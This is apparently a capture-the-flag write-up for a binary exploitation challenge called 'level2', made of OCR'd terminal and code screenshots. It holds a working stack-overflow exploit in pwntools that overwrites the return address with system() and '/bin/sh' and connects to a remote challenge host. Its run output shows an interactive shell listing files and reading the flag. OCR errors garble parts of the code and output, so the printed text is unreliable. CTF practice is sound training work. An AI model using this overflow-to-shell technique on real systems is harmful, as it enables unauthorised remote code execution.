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tucker@ubuntu:~/pwn$ file level2

level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/1d-, for GNU/Linux 2.6.32,
BuildID[shal]=a70b92elfe190db1189ccad3b6ecd7bb7b4dd9c@, not stripped

tucker@ubuntu:~/pwn$ checksec level2
[*] '/home/tucker/pwn/level2'

Arch: i386-32-1little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (©x8048000)
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ssize t vulnerable function()

{
char buf; // [esp+@Bh] [ebp-88h]

system("echo Input:");

return read(@, &buf, 0x100u);
}
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# level2.py
from pwn import *

elf = ELF("./level2")
a = remote("111.198.29.45", "41860")

# systemaddr = @xf7def@e8

systemaddr = elf.symbols['system']

print (hex(systemaddr))

# binshaddr = @xf7f5cecf

binshaddr = elf.search('/bin/sh").next()
print(hex(binshaddr))

payload = "a" * (0x88 + 4) + p32(systemaddr) + p32(0x61616161) + p32(binshaddr)
a.recvuntil("Input:")

a.sendline(payload)

a.interactive()
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tucker@ubuntu:~/pwn$ python level2.py
[*] '/home/tucker/pwn/level2'

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)

[+] Opening connection to 111.198.29.45 on port 41860: Done
0x8048320

0x804a024

[*] Switching to interactive mode

$ 1s

bin

dev

flag
level2

1lib

1ib32
libe4

$ cat flag
cyberpeace{5ce465af919dadf58be7634a490b96d0}
$
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